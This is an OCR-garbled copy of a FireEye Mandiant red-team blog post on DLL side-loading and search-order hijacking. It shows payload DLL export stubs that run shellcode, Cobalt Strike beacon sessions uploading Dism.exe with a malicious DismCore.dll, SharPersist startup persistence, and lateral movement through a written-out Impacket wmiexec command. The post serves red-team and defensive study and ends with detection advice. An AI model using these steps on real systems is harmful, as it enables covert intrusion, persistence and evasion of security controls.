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DLL Abuse Techniques Overview

Dynamic-link library (DLL) side-loading occurs when Windows Side-by-Side (WinSxS) manifests are not explicit
about the characteristics of DLLs being loaded by a program. In layman’s terms, DLL side-loading can allow an
attacker to trick a program into loading a malicious DLL. If you are interested in learning more about how DLL

side-loading works and how we see attackers using this technique, read through our report.

DLL hijacking occurs when an attacker is able to take advantage of the Windows search and load order, allowing

the execution of a malicious DLL, rather than the legitimate DLL.

DLL side-loading and hijacking has been around for years; in fact, FireEye Mandiant was one of the first to

discover the DLL side-loading technique along with DLL search order hijacking back in 2010. So why are we still

writing a blog about it? Because it’s still a method that works and is used in real world intrusions! FireEye
Mandiant still identifies and observes threat groups using DLL abuse techniques during incident response (IR)
engagements. There are still plenty of signed executables vulnerable to this, and our red team has weaponized
DLL abuse techniques to be part of our methodology. For detection and preventative measures on DLL abuse

techniques, see the “Detection and Preventative Measures” section in this blog post.

Even though DLL abuse techniques are not new or cutting edge, this blog post will showcase how the FireEye

Mandiant red team uses FireEye Intelligence to expedite the research phase of identifying vulnerable executables,

at scale! We will also walk you through how to discover new executables susceptible to DLL abuse and how the
FireEye Mandiant red team has weaponized these DLL abuse techniques in its DueDLLigence tool. The

DueDLLigence tool was initially released to be a framework for application whitelisting bypasses, but given the

nature of unmanaged exports it can be used for DLL abuse techniques as well.

Collecting and Weaponizing FireEye Intelligence

A benefit of being part of the red team at FireEye Mandiant is having access to a tremendous amount of threat
intelligence; Our organization’s incident response and intelligence consultants have observed, documented, and
analysed the actions of attackers across almost every major breach over the past decade. For this project, the
FireEye Mandiant red team asked the FireEye Technical Operations and Reverse Engineering Advanced Practices
(TORE AP) team to leverage FireEye Intelligence and provide us with all DLL abuse techniques used by attackers

that matched the following criteria:

1. A standalone PE file (.exe file) was used to call a malicious DLL
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2. The .exe must be signed and the certificate not expire within a year

3. The intelligence about the technique must include the name of the malicious DLL that was called

Once the results were provided to the red team, we started weaponizing the intelligence by taking the approach

outlined in the rest of the post, which includes:

1. Identifying executables susceptible to DLL search order hijacking
2. Identifying library dependencies for the executable

3. Satisfying API’s exported in the library

DLL Search Order Hijacking

In many cases it is possible to execute code within the context of a legitimate Portable Executable (PE) by taking
advantage of insecure library references. If a developer allows LoadLibrary to resolve the path of a library
dynamically then that PE will also look in the current directory for the library DLL. This behavior can be used for
malicious purposes by copying a legitimate PE to a directory where the attacker has write access. If the attacker
creates a custom payload DLL, then the application will load that DLL and execute the attacker’s code. This can
be beneficial for a red team: the PE may be signed and have the appearance of trust to the endpoint security
solution (AV/EDR), it may bypass application white listing (AWL) and can confuse/delay an investigation

process.

In this section we will look at one example where we identify the conditions for hijacking a PE and implement the
requirements in our payload DLL. For this test case we will use a signed binary PotPlayerMini (MD5:
£16903b2ff82689404f7d0820f461e5d). This PE was chosen since it has been used by attackers dating back to
2016.

Identifying Library Dependencies

It is possible to determine which libraries and exports a PE requires through static analysis with tools such as IDA
or Ghidra. The screenshot shown in Figure 1, for example, shows that PotPlayerMini tries to load a DLL called
“PotPlayer.dll”.
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53 |LAB_004010a0:

54 if (*(short *)((int)slocal 214 + iVarl0 * 2) != Ox5c) goto code_ roOx004010a7;
55 | pwvars = LPotPlayer.dil”: |

56 do |

o7 wvarld = *pwVars;

5¢ * (wchar_t *)(({int)regiscer0x00000010 + iVarl0 * 2 + -0x408502 + (int)pwVar5) = wVar3;
58 pwVars = vars + 1;

60 } while (wVar3 != L'\0')?:

6l 1

€2 |[LAB_004010cf:

63 Colnitialize ( (LPVOID)0x0);

€4 ppHVarl2z = (HMODULE *)FUN_004014d1(8);

65 if 12 == (HMODULE *)0=x0) {

66 P arl2 = (HMODULE *)0x0;

67 }

69 > = LoadLibraryW( (LPCHS5TR) slocal_214);

- o ; = pHVaré:

71 * {bool *) (ppHVarl2 + 1) = pHVaré != (HMODULE)O0x0;

Figure 1: Static Analysis of DLL's loaded by PotPlayerMini

Where static analysis is not feasible or desirable it may be possible to use a hooking framework such as API

Monitor or Frida to profile the LoadLibrary / GetProcAddress behavior of the application.

In Figure 2 we used API Monitor to see this same DLL loading behavior. As you can see, PotPlayerMini is
looking for the PotPlayer.dll file in its current directory. At this point, we have validated that PotPlayerMini is
susceptible to DLL search order hijacking.

|
A-d omE + 8 =R @M Gh &0

# > C\Users\b3sNDesktop | wodule A1 Q, Return Value Error
KERNELBASE.dIl drLoadDil (9, OxD075¢548, OuDD75F558, De00T5f54¢) STATUS_SUCCESS
legit_exes_PotPlayerMini_f169.. LoadLibraryW [ "C:\Users\b33f\Desktop\tmp\PotPlayer.dll”}  NULL 126 = The specified module could not be found.
KERNELBASE.dll i-lﬂlluat‘il)ll (1, 0x0075fae8, 0x00751al8, Ox0075faec) STATUS_DLL_NOT_FOUND  Oxc0000135 = The code execution cannot proceed b
KERNELBASE.dll drLoadD { 1, OxD075125 1268, 0x0075125¢ ) STATUS_SUCCESS
KERNELBASE.dil LdrLoadDIl ( 1, 0x0075ef50, #f60, 0400758154 ) STATUS_SU
KERNELBASE.dil LdrLoadDIl ( 1, O STATUS_SUCCE
KERMELBASE.dll LdrLoadDil ( 1, Ox b STATUS_SU
KERNELBASE. dil LdrLoadDIl ( 9, x00751320, 330, O ] STATUS_SUCCESS
KERNELBASE.dll LdrLoadDIl (1, edB0, £d90, Ox eded ) STATUS_SUCCESS
KERNELBASE.dll LdrLoadDIl { 1, Ox STATUS_SUCCESS
KERNELBASE. dil LdrLoadDIl { 1, Ox STATUS_SUCCESS
[ LK
" Type Mame Pre-Call Value == B Elz B, By BB'
1 PWSTR # & SearchPath 0x0001 00 3a 00 5c 00 55 00 73 00 €5 C.:.\.U.s.e
LT KT — T BELEELETIY S
3 PUNICODE_STRING =3 & Name Ox0075tate €b 00 74 00 €€ 00 70 00 5¢ 00 .k.t.o.p.\.
UNICODE_STRING 3¢ { Length = Ox004e, MaximumLength = 0x00S0, Buffer = 0x0075fc3¢ } 3: gg‘ :; 23 2: i; 2'1:'_ gg :2 ii ‘::'Ppl\:;
USHORT @ Length 00 72 00 2e 00 €4 00 €c 00 €c e.r...d.1.1

00 00

USHORT @ MaximumLength
4 PVOID* # @ BaseAddress
NTSTATUS @ Return

Figure 2: Dynamic Analysis of DLL's loaded by PotPlayerMini
Satisfying Exports

After identifying potentially vulnerable library modules we need to apply a similar methodology to identify which

exports are required from the module PE. Figure 3 shows a decompiled view from PotPlayerMini highlighting
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which exports it is looking for within the GetProcAddress functions using static analysis. Figure 4 shows

performing this same analysis of exports in the PotPlayerMini application, but using dynamic analysis instead.

76 else |

7 local 234 = GetProchddress('ppHVarll, FPreprocessCrdlineExi™)

78 }

T8 *{byte *) (ppEVarl2 + 1) = *{byre ) (ppHVarl2 + 1) & local 234 !'= (FARPROC)Ox0;

80 if (*ppHVarl? == (HMODULE)OxQ) |
8] pVar7 = (FARFROC) 0x0:

82 }

23 elase |

24 pvar] = Eethﬂﬂlddﬂﬂﬂ['1’;Z-._.'ﬁ::';:I'L‘n‘.:ltPctPlh?er"H

85 }

86 *[byte *) (ppEVarll 4+ 1) = *(byce *)(ppHVarl2 + 1) & pVar? != (FARPROC)Ox0:
27 if (*ppHVarl2 == (HMODULE)Ox0) |

88 local_230 = (FARPROC)Ox0:

89 }

%0 else |

Gl local_230 = GerProchddress(‘ppHVarl2]"CreatePorPlayerExi™);

42 }

93 *(byce *) [ppHVarl2 + 1) = *(byce *)(ppHVarlZ + 1) & local_230 '= [FARPROC)O0x0:
G4 if (*ppHVarl2 !'= (HMODULE)Ox0) |

95 pvarll = GetProchddress(‘ppivarli "DestroyPotPlayer®);

G }

97 *(byte *) (ppHVarll 4 1) = *(byte *) (ppHVarl2 + 1) & pVarll !'= (FARPROC)Ox0;
%8 if (*ppHVarll == (HEMODULE)OxQ) |

&% pVar? = (FARPROC) Ox0;

LO0 }

Lol else |

Lo2 pvarg = th:Prﬂ:.ldﬂ:tH{'r:h‘-‘ﬂ:;:I'RunFc:Elawr']:I

Lo3 ]

Lo4 " {byte *) (ppEVarll & 1) = ¥(byce V) (ppHVarl2 + 1) & pVarg != (FARPROC)Ox0;
LO5 if (‘ppHVarll == (IMODULE)OxQ) {

Log pVars = (FRRFROC) 0x0;

LO7 }

Log else |

LO% pVars = GectProchddreas (*ppHVarll]®“SecPotPlayRegHeyW");

L10 }

L1l ppEVarl = ppHEVarl2 4 1;:

L1z *{byte *)ppHVarl = *{byte *)ppiVarl & pVar5 != (FARPROC)0x0;

L13 if (*{byte *)ppHVarl == Q) (

L13 MeasageBoxW ( (HWND) Ox0,L"Cannot find or init PetPlayer.dll®,L"Error”,0):

Figure 3: Static Analysis of exports in PotPlayerMini DLL
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egN_exei_PatPlaperiin

J-a5 dxF +n uPslo @me AR &0
© > CAUsers\b3INDeskiop Time of Day Thread  Module AP Q Rt Valse

&8 Se0m:15.584 PM 1 migoneei.cl | "OpenProcessToken” ) 1t

Ll SON15.584 PM 1 midhrei.al , "GetTokenind crmation” |

m 500:15.584 PM 1 micaneei.gil . "GetFileviersioninioSize...

72 SORISSMPM 1 miconeei.il . "GetFileVeriionin oW )

73 SON1558APM 1 micoreei.dil VerCuenValue W |

4 | sonisssapm |1 tPlayerMini_f 163036218

L] Sc0m1 5584 PM 1 legR_exes_PotPlayerMini_ 1165030208, ddress | L “UninitPotPayer |

L] 50021 5.584 PM 1 legR_exes PotFlayertini 1163030218, aaress |, “CreatePotPlayerErw )

L S:00:15.584 PM 1 legit_eves PotPlayerilini 1165030218, ddress | | "DestioyPotPlayer” )

£ ] S:00:15.584 PM 1 lept_eves PotPlayerilini 1165030208, rest | |, "RunPotPlaye” |

7 SOLISSSPM 1 ook gues PotFlayerblini 1E30362HE. . ess | S etPotPlayRegleyé |

80 Sc00:15.585 PM 1 MSVCRBLAN ress | FlsABoc" )

& SON15585PM 1 MEVCRBOI dreqs | Ox FlsGetvalue™ |

& SOn:15585PM 1 MSVICRBO.dil dress | | “FlsSetvalue” |

a3 S:0m:15.586 PM 1 MSVORBO.AN ( |, “FisFree" )

& 5001 5.586 PM 1 MESVCRBOAI | | “EncodePointes” )

85 50021 5.586 PM 1 MSVCRBOLAI | , "EncodePointer” )

L3 S:01:15.586 PM 1 MEVCRBOAI | “EncodePointer” )
. - P Y e - - - = |
*  Wype Name Pre-Call Value ™ i M“; o, ug I"_glu¢
1 HMODULE @ hModuse DxTBBE0000 "C\Users BIINDedktop tmg PotPayes dil 30 S0 71 €5 TO 72 €€ €3 €5 73 73 Dreprocess
2 PCSTR # @ IpProchame On00e42208 “PreprocessCmalineExw” __.: ‘z wrEm s I?H;;M:ﬂ

FARPROC & Retum

Figure 4: Dynamic Analysis of exports in PotPlayerMini DLL

In our case the payload is a .NET DLL which uses UnmanagedExports so we have to satisfy all export
requirements from the binary as shown in Figure 5. This is because the .NET UnmanagedExports library does not
support DIIMain, since that is an entry point and is not exported. All export requirements need to be satisfied to
ensure the DLL has all the functions exported which the program accesses via GetProcAddress or import address
table (IAT). These export methods will match those that were observed in the static and dynamic analysis. This

may require some trial and error depending on the validation that is present in the binary.
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W", CallingConvention = CallingConvention.StdCall)]
PreprocessCmdLineExw()

ayer”, CallingConvention = CallingConvention.Stdcall)]
uninitpPotprlayer() { B

W", CallingConvention = CallingConvention.StdCall)]
CreatePotPlayerexiw() { 4

r*, CallingConvention = CallingConvention.S5tdCall)]
yPotPlayer() { HEl

yRegkeywW", CallingConvention = CallingConvention.StdCall)]
setPotPlayregkeyu() { I

r*, CallingConvention = CallingConvention.StdCall)]

i i}

note.startInfo.FileName = @
note.start();

Figure 5: Adding export requirements in .NET DLL

Once we execute the binary, we can see that it successfully executes our function as shown in Figure 6.

v legit_exes_PotPlayerMini_f16903b2ff3... 16944

~ notepad.exe 15236

Figure 6: Executing binary susceptible to DLL abuse

DLL Hijacking Without Satisfying All Exports

When writing a payload DLL in C/C++ it is possible to hijack control flow in DlIMain. When doing this it is not
necessary to enumerate and satisfy all needed exports as previously described. There also may be cases where the

DLL does not have any exports and can only be hijacked via the DIIMain entry point.

An example of this can be shown with the Windows Media Player Folder Sharing executable called
wmpshare.exe. You can copy the executable to a directory out of its original location (C:\Program Files
(x86)\Windows Media Player) and perform dynamic analysis using API Monitor. In Figure 7, you can see that the
wmpshare.exe program uses the LoadLibraryW method to load the wmp.dll file, but does not specify an explicit

path to the DLL. When this happens, the LoadLibraryW method will first search the directory in which the

Page 6 of 15


https://docs.microsoft.com/en-us/windows/win32/dlls/dllmain

https://www.mandiant.com /blog/dll-search-order-hijacking-revisited/

process was created (present working directory). Full details on the search order used can be found in the

LoadLibraryW documentation and the CreateProcess documentation.

] RPCRTA.dI - - SO e,
.. SspiCli.dll Find @
J CRYPTBASE.dII
3 e Findwhat: | LoadLibrary
-~ usP10.dil | Direction
IMM32.DLL 5 . _
g MSCTF.dll [C] Match cass ©le @ Dawn
.0 SHLWAPLdII
1 wmpshare.exe 1 wmpshare.exe _ismbblead (114 )
-] ntdll.dll 1 wmpshare.exe _ismbblead (101 )
O kerne32.dIl 1 wmpshare.exe _ismbblead {46)
-] KERNELBASE.dII 1 wmpshare.exe _ismbblead (101)
- msvart.dil 1 wmpshare,exe _ismbblead (120}
-~ wmp.dll 4 1 wmpshare.exe _ismbblead (101)
[ ole32.dll 1 wmpshare.exe _ismbblead (34 )
- OLEAUTZZ.0N 1 wmpshare.exe RegisterApplicationRestart (™, 0)
-] gdiplus.dil - § T
3 wmplocdil 1 wmpshare.exe uetPrécﬁddres: (0x6a5e , 3003)
O] uxtheme.dil 1 wmpshare.exe LoadLibraryA ( “ole32.dII")
. SHELL3Z.dlI il 1 wmpshare.exe [nterlocl-:edE(chanigf_ a4, 1..SI‘T§107008]
— . . um 1 wmoshare.exe GetProcAddress [ 0x75 . "ColnitializeEx" |
i » ] [
Type Name Pre-Call Value __:| Post-Call Value
LPCTSTR H @ IpFileName 0x00e81148 "wmp.dil® 0:00e81148 “wmp.dil”
HMODULE 4 Return I 0x6a5e0000 "C\Windows\system32\wmp.dIl”

Figure 7: Viewing LoadLibrary calls in wmpshare.exe

Since it does not specify an explicit path, you can test if it can be susceptible to DLL hijacking by creating a blank
file named “wmp.dll” and copying it to the same directory as the wmpshare.exe file. Now when running the
wmpshare executable in API Monitor, you can see it is first checking in its current directory for the wmp.dll file,

shown in Figure 8. Therefore, it is possible to use this binary for DLL hijacking.
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M o
-] MSCTF.dIl Find 53
1 SHLWAPLAII M
-] GDB2.dIl M | Find what: | LoadLibrary | FindNext |
-] USER32.dIl M s I
..[] ADVAPBE2.dII M Draction | Concel |
I- —] wmpshare.exe ] M Match case Up @ Down
=1 ntdll.dn M
- kernel32.dll M1 wmpshare. exe pblead (101 )
~[] KERNELBASE.dII M 1 wmpshare.exe smbblead (46 )
I 3 msvert.dil M 1 wmpshare exe bblead (101 )
i35} Threads M1 wmpshare. exe i ad (120
M 1 wmpshare.exe _ismbblead (101 )
M 1 wmpshare.exe smbblead (34 )
M 1 wmpshare.exe RegisterApplicationRestart (™, 0)
M 1 wmpshare, exe
2 4
Type Name Pre-Call Value .5 Post-Call Value
LPCTSTR = @ IpFileName 0x00ce1148 0x00cel145
TCHAR ’ “wmp.dil” “wmp.dil’
HMODULE < Return NULL

Figure 8: Viewing LoadLibrary calls in wmpshare.exe with dummy dll present

Figure 9 shows using the wmpshare executable in a weaponized manner to take advantage of the DlIMain entry
point with a DLL created in C++.

C:\Temp>dir
Uolume in drive C is Windows 7
Uolume Serial Number is 84EF-19D4

Directory of C::\Temp

1./89/2820 55 PM <DIR> .
A1./09,2020 :55 PHM {DIR> -
B91./87,20208 :49 PM 8,704 wmp.dll
11282018 :38 PM 182,400 wmpshare.exe
2 File(s> 111.184 hytes
2 Dir<ds> 1.804,78%.888 hytes free

C:\Temp>umpshare .exe
C:\Temp> DLL Export Hijacking

SUCCESS

Cancel § i Continue

Figure 9: Using the DIIMain entry point
Discovering New Executables Susceptible to DLL Abuse
In addition to weaponizing the FireEye intelligence of the executables used for DLL abuse by attackers, the

FireEye Mandiant red team performed research to discover new executables susceptible to abuse by targeting

Page 8 of 15



https://www.mandiant.com /blog/dll-search-order-hijacking-revisited/

Windows system utilities and third-party applications.

Windows System Utilities

The FireEye Mandiant red team used the methodology previously described in the Collecting and Weaponizing
FireEye Intelligence section to look at Windows system utilities present in the C:\Windows\System32 directory
that were susceptible to DLL abuse techniques. One of the system utilities found was the deployment image
servicing and management (DISM) utility (Dism.exe). When performing dynamic analysis of this system utility, it

was observed that it was attempting to load the DismCore.dll file in the current directory as shown in Figure 10.

] RPCRT4.dll !
1814 25541875PM 1 5128, 2)
] USER3Z.dll
3 coBz.d = 1815 [Fng 11f530, 32)
-~ LPK.dll 1816 hp\Dism.exe”, V')
-] ole32.dil 1817 Find what]  LoadLibrary }00000000490000, 0, 40 )
[ OLEAUTZZ.dII 1518 Direction
-] VERSIOM.dII 1519 ~ ~ D4bc360 )
@ Down
~.[] IMM32.DLL 1821 [T] Match case Ol @ [ 0X00000000 EAP_ZERO_MEMORY, 42)
[ MSCTF.dlI — 1822 N0000000004 cal60, 20, Fes%esTes”, O 00011605 )
[ SHUWAPLII 1837  25541875PM 1 Dism.exe HeapAlloc 0x0000000000430000, 0, 72 )
-] ntdil.dll 1838 25541875PM 1 Dism.exe memepy ( ) 00ffdag128, 2)
3 kemel32.dil 1839 25541875PM 1 Dism.exe memepy ( 0000004 ca160, 40 )
[ KERNELBASE.dll 1840  25541875PM 1 Dism.exe GetProcessHeap | )
O ADVAPB2.dIl 1841 25541875PM 1 Dism.exe HeapFree ( 0x0000000000430000, 0, 0x00000000004 cal60 )
-] CRYFTBASE.di 25541875PM |1 |Dismexe | LoadlibrayW [“C:\Temp\DismCore.dil’ }
.. Dism.exe 1851  2:5541875PM 1 Dism.exe GetLastError [ )
DismCore.dll
g ':m °"dH 1852  25541875PM 1 Dism.exe GetSystemWindowsDirectoryW [ NULL, 0 )
wdscore, e
= : 1853  25541875PM 1 Dism.exe malloc (22)
Type Mame Pre-Call Value Post-Call Value I
LPCTSTR = & IpFileName 0xD0000000004b 378 0X00000000004D 573
TCHAR v “C\Temp'\DismCore.dll” I “C\Temp'\DismCore.dll™ I

Figure 10: Performing dynamic analysis of Dism utility

Next, we loaded the DISM system utility into API Monitor from its normal path (C:\Windows\System32) in order

to see the required exports as shown in Figure 11.

L kemeB32.dil i S - - - B R S R E
[ CRYPTBASE.dll 1884 2:59:34.860 PM 1 Dism.exe GetProcessHeap [ )
] KERNELBASE.dll 1885 Find @ 0000000330000, 0, 0 0)
1 ADVAFB2.dI 1887 0000000330000, 0, 0x0 0
. msvartdil _ | [raee Find what: 0000000330000, 0)
- sechost.dil =|l|1891 Drection (0x000000000 HEAP_ZERO_MEMORY, 76 )
T LPK.dil 1892 . PO0000000036ed40, 37, SesFestes”, 0x00000000001 dIE1E )
- GDB2.dil 1902 | [ Match case D T 00000036 ebds, 0 00000036ed40, 74 )
] USER32.dll 1003 0
] RPCRT4.dIl 1904 25934860 PM 1 Dism.exe HeapFree ( 0x0000000000330000, 0, 050! 0
[[Dosmee | 1906 | 2:59:34860PM |1 |Dismexe | LoadlibrapW ("ChWindows\System32\Dism\DismCore.dir” )
—[ DismCore.dll ~ ||2012 2:53:34860 FM 1 Dism.exe D 00, "DllGetClassObject” )
[ wadscore.dll 2015 Z59:34860 PM 1 Dism.exe DliGetClassObject ( {be33a527-42fe-4324-ac5e-c1 d05OFcT05f), IClassFact...
O SHEWS2.d1l 022 259:34860FPM 1 Dism.exe ICIassFactaryCreateinstance  NULL, {404fce31-1767-4564-0269.5400€3. .
O DismCorePs.dll 3596 2:59:35.016 PM 1 Dism.exe IClassFactory:Release )
—0O dBGatq.OlL 3567 2:59:35.016PM 1 Dism.exe HeapFree [ 0x0000000000330000, 0, ¢ ce0 )

Figure 11: Required exports for DismCore.dll

The code shown in Figure 12 was added to DueDLLigence to validate that the DLL was vulnerable and could be
ran successfully using the DISM system utility.
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5 ject", CallimgConvention = CallingConvention.StdCall)]
DllGetClassoObject()

Runshellcode();

»

Figure 12: Dism export method added to DueDLLigence

Third-Party Applications

The FireEye Mandiant red team also targeted executable files associated with common third-party applications
that could be susceptible to DLL abuse. One of the executable files discovered was a Tortoise SVN utility
(SubWCRev.exe). When performing dynamic analysis of this Tortoise SVN utility, it was observed that it was

attempting to load crshhndl.dll in the current directory. The export methods are shown in Figure 13.
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Figure 13: Performing dynamic analysis of SubWCRev.exe

The code shown in Figure 14 was added to DueDLLigence to validate that the DLIL was vulnerable and could be
ran successfully using the Tortoise SVN utility.
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n.stdcall)]

Figure 14: SubWCRev.exe export methods added to DueDLLigence
Applying It to the Red Team

Having a standalone trusted executable allows the red team to simply copy the trusted executable and malicious
DLL to a victim machine and bypass various host-based security controls, including application whitelisting. Once
the trusted executable (vulnerable to DLL abuse) and malicious DLL are both in the same present working
directory, the executable will call the corresponding DLL within the same directory. This method can be used in
multiple phases of the attack lifecycle as payload implants, including phases such as establishing persistence and

performing lateral movement.
Persistence

In this example, we will be using the Windows system utility Dism.exe discovered in the Windows System
Utilities section as our executable, along with a DLL generated by DueDLLigence in conjunction with SharPersist
to establish persistence on a target system. First, the DISM system utility and malicious DLL are uploaded to the

target system as shown in Figure 15.

Page 11 of 15


https://github.com/fireeye/DueDLLigence
https://github.com/fireeye/SharPersist

https://www.mandiant.com /blog/dll-search-order-hijacking-revisited/

external internal user computer
B® 152.168.1.149 192.168.1.1459 adumbledore * WIN7-18447264

- -

Event Log X | Beacon 192.168.1.149@2504 X

beacon> pwd

[*] Tasked beacon to print working directory

[+] host called home, sent: 8 bytes

[*] Current directory is C:\users\adumbledore\AppData\Roaming\Microsoft\Crypto
beacon> ls

[*] Tasked beacon to list files in

[+] host called home, sent: 19 bytes

[*] Listing: C:\users\adumbledore\AppData‘\Roaming\Microsoft\Crypto\

Size Type Last Modified Name

dir 09/20/2019 12:17:35 Keys
dir 09/20/2019 12:13:54 RSA

beacon> upload /tmp/Dism.exe

[*] Tasked beacon to upload /tmp/Dism.exe as Dism.exe

[+] host called home, sent: 274964 bytes

beacon> upload /tmp/DismCore.dll

[*] Tasked beacon to upload /tmp/DismCore.dll as DismCore.dll
[+] host called home, sent: 1046576 bytes

[+] host called home, sent: 246808 bytes

beacon> 1s

[*] Tasked beacon to list files in

[+] host called home, sent: 19 bytes

[*] Listing: C:\users\adumbledore\AppData‘\Roaming\Microsoft\Crypto\

Size

Type Last Modified Name

dir 09/20/2019 12:17:35 Keys

dir 09/20/2019 12:13:54 RSA

fil 01/09/2020 08:31:57 | Dism.exe

fil 01/09/2020 08:32:00 | DismCore.dll

Figure 15: Uploading payload files

| external linternal luser 'ccmputer note - pid
Bl 192.168.1.149 192.168.1.14% adumbledore * WIN7-18447264 2504
EventLog X | Beacon 192.168.1.145@2504 X
beac te-assembly /froot/Toolkit/SharPersist.exe -t startupfolder -m add -f "Dism Startup" -c "C ers\adumbledore\AppData\}
g to run .NET program: SharPersist.exe -t startupfolder -m add -f "Dism Startup" -c ers\adumbledore\AppData\H

host called home, sent: 336645 bytes
received output:

INFO: Adding startup folder persistence
Ci\users\adumbledore\AppData\Roaming\Microsoft\Crypto\Dism.exe

INFO: File Name: Dism Startup

SUCCESS: Startup folder persistence created
IN HNK File located at ers\adumb Led ppbatayRoaming\Microsoft\Windows \Start Menu\Programs\Startup\Dism Startup.lnk
INFO: SHA256 Hash of LNK fil 2ZA192A37CCOES 48A76B6OCS7548A463BDDB9A18B62602F 8240F FEDAGA4BE

Figure 16: Adding startup folder persistence with SharPersist

After the target machine has been rebooted and the targeted user has logged on, Figure 17 shows our Cobalt Strike
C2 server receiving a beacon callback from our startup folder persistence where we are living in the Dism.exe

process.
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external internal user computer «
Bl 192.168.1.149 192.168.1.149 adumbledore * WIN7-18447264
EventLog X

01/09 08:36:55 *** initial beacon from adumbledore *@192,168.1.149 (WIN7-18447264)

3044 2668 Dism.exe ' HOGWARTS\adumbledore
3224 2668 TSVNCache.exe ' HOGWARTS\adumbledore

Figure 17: Successful persistence callback

Lateral Movement

We will continue using the same DISM system utility and DLL file for lateral movement. The
HOGWARTS\adumbledore user has administrative access to the remote host 192.168.1.101 in this example. We
transfer the DISM system utility and the associated DLL file via the SMB protocol to the remote host as shown in
Figure 18.

external internal user computer =
i~ 192.168.1.149 192,168.1.149 adumbledore * WIN7-18447264

- -

EventLog X | Beacon 192.168.1.149@3044 X

beacon> 1s \\192,168.1.101\c$\Temp

[*] Tasked beacon to Llist files in \\192.168.1.101\c$\Temp
[+] host called home, sent: 41 bytes

[*] Listing: \\192.168.1.101\c$\Temp?

Size Type Last Modified

beacon> cd \\192,168.1.101\c$\Temp

[*] cd \\192.168.1.101\c$\Temp

[+]1 host called home, sent: 31 bytes

beacon> upload /tmp/Dism.exe

[*] Tasked beacon to upload /imp/Dism.exe as Dism.exe
[+] host called home, sent: 274964 bytes

beacon> upload /tmp/DismCore.dll

[*] Tasked beacon to upload /tmp/DismCore.dll as DismCore.dll
[+] host called home, sent: 1046576 bytes

[+] host called home, sent: 246808 bytes

beacon> 1s

[*] Tasked beacon to list files in .

[+] host called home, sent: 19 bytes

[*] Listing: \\192.168.1.101\c$\Temp?

Size Type Last Modified Name

268kb  fil 01/09/2020 1
1mb fil 01/09/2020 1

2:14 Dism.exe
2:22 | DismCore.dll

0:3
0:3
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Figure 18: Transferring payload files to remote host via SMB

Then we setup a SOCKS proxy in our initial beacon, and use Impacket’s wmiexec.py to execute our payload via

the Windows Management Instrumentation (WMI) protocol, as shown in Figure 19 and Figure 20.

proxychains python wmiexec.py -nooutput DOMAIN/user:password:@x.x.x.x C:\\Temp\\Dism.exe

Figure 19: Executing payload via WMI with Impacket’s wmiexec.py

9/20] [08:56:37] Toolkit/impacket/examples# proxychains python wmiexec.py -nooutput
s-3.1 (http://proxychains. .net)
Impacket v©.9.19-dev - Copyright 2019 SecureAuth Corporation

2.168.1.101:135-<:
.168.1.101:49666-

Figure 20: Output of executing command shown in Figure 19

We receive a beacon from the remote host, shown in Figure 21, after executing the DISM system utility via WMI.

external internal user computer -
Tm. 192.168.1.101 192.168.1.101 adumbledore * VICTIM-PCC
BM 152.168.1.149 192.168.1.149 adumbledore * WINT-18447264
Eventlog X | Beacon 192.168.1.149@3044 X
01/09 08:3 ¥4+ jpitial beacon from adumbledore *@192.168.1.149 (WIN7-18447264)

01/09 08:56:57 *** initial beacon from adumbledore #*@192.168.1.101 (VICTIM-PCC)

Figure 21: Obtaining beacon on remote host

Detection and Preventative Measures

Detailed prevention and detection methods for DLL side-loading are well documented in the report and mentioned
in the DLL Abuse Techniques Overview. The report breaks it down into preventative measures at the software
development level and goes into recommendations for the endpoint user level. A few detection methods that are

not mentioned in the report include:

o Checking for processes that have unusual network connectivity
o If you have created a baseline of normal process network activity, and network activity for a given
process has become different than the baseline, it is possible the said process has been
compromised.
e DLL whitelisting

o Track the hashes of DLLs used on systems to identify discrepancies.

These detection methods are difficult to implement at scale, but possible to utilize. That is exactly why this old
technique is still valid and used by modern red teams and threat groups. The real problem that allows this
vulnerability to continue to exist has to do with software publishers. Software publishers need to be aware of DLL

abuse techniques and know how to prevent such vulnerabilities from being developed into products (e.g. by
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implementing the mitigations discussed in our report). Applying these recommendations will reduce the DLL

abuse opportunities attackers use to bypass several modern-day detection techniques.

Conclusion

Threat intelligence provides immense value to red teamers who are looking to perform offensive research and
development and emulate real-life attackers. By looking at what real attackers are doing, a red teamer can glean

inspiration for future tooling or TTPs.

DLL abuse techniques can be helpful from an evasion standpoint in multiple phases of the attack lifecycle, such as
persistence and lateral movement. There will continue to be more executables discovered that are susceptible to

DLL abuse and used by security professionals and adversaries alike.
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